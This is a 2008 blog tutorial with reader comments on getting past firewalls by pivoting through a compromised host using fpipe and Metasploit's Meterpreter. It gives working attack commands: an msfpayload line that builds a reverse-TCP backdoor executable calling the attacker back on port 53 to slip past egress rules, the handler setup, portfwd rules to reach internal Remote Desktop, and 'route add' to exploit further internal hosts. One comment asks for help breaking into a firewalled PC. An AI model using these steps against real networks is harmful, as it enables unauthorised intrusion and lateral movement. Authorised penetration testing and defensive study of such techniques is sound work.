April 22, 2008

Bypassing firewalls with port forwarding - part 1

Many of you may have faced a big problem while trying to (legally!) gain access to internal network systems & services while you`ve began your attack from outside of boarders of target network : Firewall rules .
Assuming you`ve already gained access to at least one host which is linked to internal network , you know there are many other systems there inside, and many interesting services you should play with . The only problem is that you can not access them through internet , and gained shell is not powerful enough to let you do all of your post-exploitation tasks through it . So you should looks for a way to get rid of this limitation and freely browse and probe internal network . so called reverse shells may be your first try , but they are usually too simple and not powerful enough for what we`re going to do . Inthis post I`ll review some effective ways of doing so , in various situations . As a network administrator , you`ll also learn that how opening even one single port in your outbound ACL can put your whole internal network at sever risk.

First of all , let me explain what 'port forwarding' is .
Consider host "A" , hos "B" in middle , and host "C" . Host A should connect to host C in order to do something , but for any reason it`s not possible , but host B can directly connect to C . If we use host B in middle , to get connection stream from A and pass it to B while taking care of connection , we say host B is doing port-forwarding . Assuming the whole forwarding is happening to gain access to SSH on host C , this is how it`s happening from tcp/ip point of view:
Host B runs a software/service/wrapper that opens a listening socket ( tcp/20 for example) and wait for incoming connections . Host C ( real ssh-server) is also listening to 22/tcp . Running software on B is defined to pass any incoming connection on opened port to host C and on port 22/tcp . So if host A connect to 22/tcp of B , sent packets to this port are automatically relayed to C , port 22/tcp.

Right like many other terms used in attacks , port-forwarding is also divided into normal port-forwarding and reverse ( remote ) port forwarding . Above ABC sample was normal one .

In reverse port-forwarding , the case is again preparing connection between A & C through B . But this time it`s C who begin the connection . In a flat network design both of these can be same , but if you place host A in internet , host C in deep protected zones of internal network , and host B at boarder of protected network , things change a little bit !

Fpipe , WinRelay & DataPipe.exe are three free and simple tools designed to do simple port-forwarding . Let`s use fpipe.exe to implement above scenario and quickly move to more advanced hints. We run fpipe.exe with below parameters on host "B" , and host "A" have to ssh to host "B" . Now fpipe.exe will handle incoming connection ( -l 22 ) , and pass it to remote host and defined port ( -r 22 host-c ) . Nothing strange nor complex.

fpipe.exe -l 22 -r 22 host-C

Ok , let`s make scenario more real-world . what if even host "B" is behind firewall and no chance to open any port ? what if we can`t even send a single packet to host "B" , while host B is the only system in network which is allowed to connect to "C" ? hmm , this looks a hard scenario , but not really . In this scenario it`s also considered that host C ( final destination) is not allowed to send any packet to internet , but host B is allowed to send packets to internet , only if destination port is 53 . I don`t mind how you may have compromised host B at all . You may have done so by exploiting a client-side vulnerability on it , and got back your reverse-shell at response .

In such situation , tools like fpipe.exe will not help you much. Since we already have a negotiated connection between A and B we should it in most effective way because if we loose this connection before stabilizing our access (with a reverse-connecting trojan for example), we have to re-exploit the target which is not always possible .

For win32 targets , my favorite tool-set to bypass the firewall and get into internal network is Metasploit , with Meterpreter loaded as payload of exploit . Even if I`m not using one of MSF exploits to gain access , I use 'msfpayload' withing the framework to generate a raw binary output of Meterpreter , and use it as a single executable trojan .
What make Meterpreter a great post-exploitation tool for this case , is it`s port-forwarding capability . It`s great becase :
  • Meterpreter do NOT open any new connection between you (host A) and B , beside it`s negotiated session . All new communication channels are encapsulated in current session.
  • You can define multiple forwarding rules over a single Meterpreter session .
  • You can view/add/remove forwarding rules as you go while it`s running .
  • you can do many other things with Met. while port-forwarding is handled in background
  • Finally , you can directly exploit host C if Meterpreter is used within the framework , like when it`s load after successfully exploitng something .
If you just want to use benefits of Meterpreter , and have your own exploit ready , here`s how to generate the executable payload for being executed on host B :

msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST= EXITFUNC=thread X > met-reverse-backdoor.exe

I think the syntax is clear enough . LHOST have the IP of host A , where backdoor will connect to . LPORT is the port backdoor connects to , on host A . I used 53 because this port is usually not filtered on firewalls . Now you should transfer met-reverse-backdoor.exe to host B , and get ready to execute it . Since this is not a normal payload and is an advanced multi-stage payload we should use it`s specific handler/client which is available in Metasploit . Let`s run the meterpreter handler . Launch the metasploit console , and :

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

Now you`re ready to execute built .exe on host B . after that , you`ll see incoming connection on console , let the payload completely load and alert about opened session .
'portfwd' is the meterpreter command we`ll work with . try it without any parameter to get help , and read meterpreter documentations for farther info and details .

Let`s assume we want to connect to terminal-service on host C , directly from host A . With help of port-forwarding of Meterpreter , it`s matter of a command . In met. console run :

portfwd -a -L -l 444 -h {IP of host C here} -p 3389

Let me explain above command if it`s not clear .

with (-a) we ADD a new port-forwarding rule .

(-L) defines the IP address to bind forwarded socket to . Since we`re running these all on host A , and want to continue work from the same host , we set . If host A have multiple IPs and you want to bind to specific IP , you can set it here .
(-l) is the port number which will be opened on host A , for accepting incoming connections. it can be any free port on your system .
(-h) defines the IP address of host C , or any other host withing the internal network .
(-p) The port you want to connect to , on host C. Since we`re going to use terminal-service , it`s 3389 .

Now on host A , try to connect to terminal service through forwarded socket . to do so from console :

c:\>mstsc.exe /v:

Congratulations . You`ve successfully bypassed firewall and got your reverse-connection terminal service session .
Same steps can be used for almost any TCP service . Unfortunately UDP services are not supported in Meterpreter .

But hey , I mentioned DIRECTLY exploiting intenral hosts from host A. Does it mean for every service we`re going to exploit, we should define a forwarding rule ? no .
Metasploit have a nifty option (command) called 'route' . While you`re in Meterpreter session if you ask for help you`ll see a 'route' command , but this is not our one . After met. session successfully loaded ( first opened session will be named as '1' ) , in console press Ctrl-z . This will get you back to Metasploit console , while keeping the meterpreter session open in background .
Run below command to confirm availability of session :

msf exploit(handler) > sessions -l

Active sessions

Id Description Tunnel
-- ----------- ------
1 Meterpreter ->

Now type 'route' and check given help for syntax . Yes , this is what I was talking .

msf exploit(handler) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

Our targetted internal network uses network addressing . Host C internal IP is . We want to exploit host D with IP address . The lame way is to define a port-forwarding rule in met. , and send exploit payload to{defined port} like what we did for terminal-service . But the better way is using 'route' :

msf exploit(handler) > route add 1
msf exploit(handler) > route print

Active Routing Table

Subnet Netmask Gateway
------ ------- ------- Session 1

msf exploit(handler) >

Above means we`ve successfully added the route . and what it means to Metasploit ?
It means that any time you set RHOST in any of you exploits in framework that match this routing rule , the exploit will be routed automatically by meterpreter to it`s destination network , transparently . Now to exploit ( host D ) , all you have to do is '>set RHOST' in framework . All greets goes for HD Moore and Skape for preparing such cool framework :)

In part 2 of this topic , I`ll explain how to do port-forwarding trick with ssh , without any special third-party tool but the ssh client .

[Updated 23 April ] :

I had to mention two other third-party tools related to this topic , but as I was in hurry while sending it , seems I`ve completely forgot them . Anyway here are those two :

SocketNinja.pl , old part of Metasploit ( 2.x ) branch which is a pretty useful tool for this purpose IMO . You can get it from here , and read more about it here . It was my favorite pivoting tool for a while .

Reverse Proxy Multi-threading Engine by Team 514 guys , which can be assumed as a stand-alone clone of Meterpreter port-forwarding . While being pretty cool and poweful tool , I didn`t found the code-base stable enough for hardcore works or heavy duty jobs, and code needs optimization . Test it in your labs before using it in real-world missions .


  1. Hi

    I'm looking for some (tools/methods/source code) to drop a packet with known fingerprint. This is the situation : an app is listening on TCP port x and communicates with the outside. I wanna prevent it from receiving an special packet. The app should not be interrupted or terminated. I've the packet signature and any packet matching this signature should not be received by the target app.

    can you help me ?

    email: mosibatzadeh@yahoo.com

  2. Anonymous :
    iptables already supports pattern-matching and you can write rules,triggers and ACLs based on that . Isn`t that sufficient for you?

    more on this:

  3. Hi Dear Hamid,

    Thanks to this useful post. At least I found another graceful functionality of metasploit.

    Have a nice trip!

  4. Thanks for your reply.
    Target OS is from windows family.
    maybe you say using ISA server is appropriate, but the end users are not professionals. I was thinking there should be some non sophisticated tool (firewall, IDS, or even sample source code in any language) to do the job.

    Best; Anonymous
    email: mosibatzadeh@yahoo.com

  5. Anonymous :
    Seems you`re going to protect some clients behind a NAT/Firewall . In this case gateways system have nothing to do with clients, unless you prefer to use linux/win32 . Anyway , as I don`t know any details about what you`re going to do , can`t give any comment . feel free to email some more detail if you like .

  6. thanks for your last work

    Best; Anonymous

  7. i just found your weblog. awesome, very nice and smooth solution. just wanted to say for this case you may use a built-in solution of metasploit and with routing in msfconsole menu. as you know you can background a meterpreter session after establishing the connection. then you may use rout command to forward all the traffic for a specific destination via the alive session which is backgrounded.
    for more details you may check HD Moore's description for this topic.
    by the way I loved your weblog and learned many things! thank you :)

  8. Mohammad , thanks for checking and commenting the blog .
    I guess I`ve already mentioned that in same post . seems you`ve not red entire post.

    Metasploit have a nifty option (command) called 'route' . While you`re in Meterpreter session if you ask for help you`ll see a 'route' command , but this is not our one . After met. session successfully loaded ( first opened session will be named as '1' ) , in console press Ctrl-z . This will get you back to Metasploit console , while keeping the meterpreter session open in background .

  9. thats right! shame on me :)

  10. hi
    thank you for the tutorial
    but i have a question:
    in the tutorial we have A is directly connected to the net (he have a public ip)
    but B is inside a network(private ip)
    A have succesfully connect to B using a reverse payload .
    if A is like B inside a network
    (in this situation we have A B C and D "for A")
    in this scenario how can A connect to B??

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    portfwd -a -L -l 444 -h {IP of host C here} -p 3389

    (-h) should be (-r)
    and (-a) should be (add)

    So, the command chould be :

    portfwd add -L -l 444 -r {IP of host C here} -p 3389

    Love your blog by the way, keep it up!

  17. hi
    I.m wondering if the host A can exploit the host C knowing that host C has a private adresse

    I don't understand how we can do it specialy wiht non routable adresse and how we can get the private adresse of the internal network

    thx great work

  18. great work bro. Keep it up and God blessings.

  19. Great article! In response to a previous poster, HostA can exploit HostC, only after you have port forwarding or 'route' running on Host B via meterpreter. A given is that HostA can reach HostB before any exploiting, and HostB can reach HostC by default... so, once you have HostA routing/forwarding traffic through HostB via meterpreter, you just change the RHOST(S) values in your exploits/payloads from the attacking machine (HostA) and you can poke away at HostC.

  20. HI profession man ,i have some question ,e.g i have two pc in the lan,one was creacker,the other one was creacked ,as you see,i installed comodo firewall in the second pc,and just open 14190,14191,1947 port,adobe player 11,canon driver ,how to use you method to crack the pc,the first one is crack,the second one was cracked,the second one install comodo,and just open 14190,14191,1947 port,other port was fliter,can you tell me,my email bugtijiao@gmail.com

  21. Great! but still have question,i have two pc,the first one was crack,and the second was cracked,in the second pc,i had install comodo firewall,and filter all ports except 14190,14191,1947,and installed adobe flash player 11,Do you have idea to crack the second pc,thank you,my email bugtijiao@gmail.com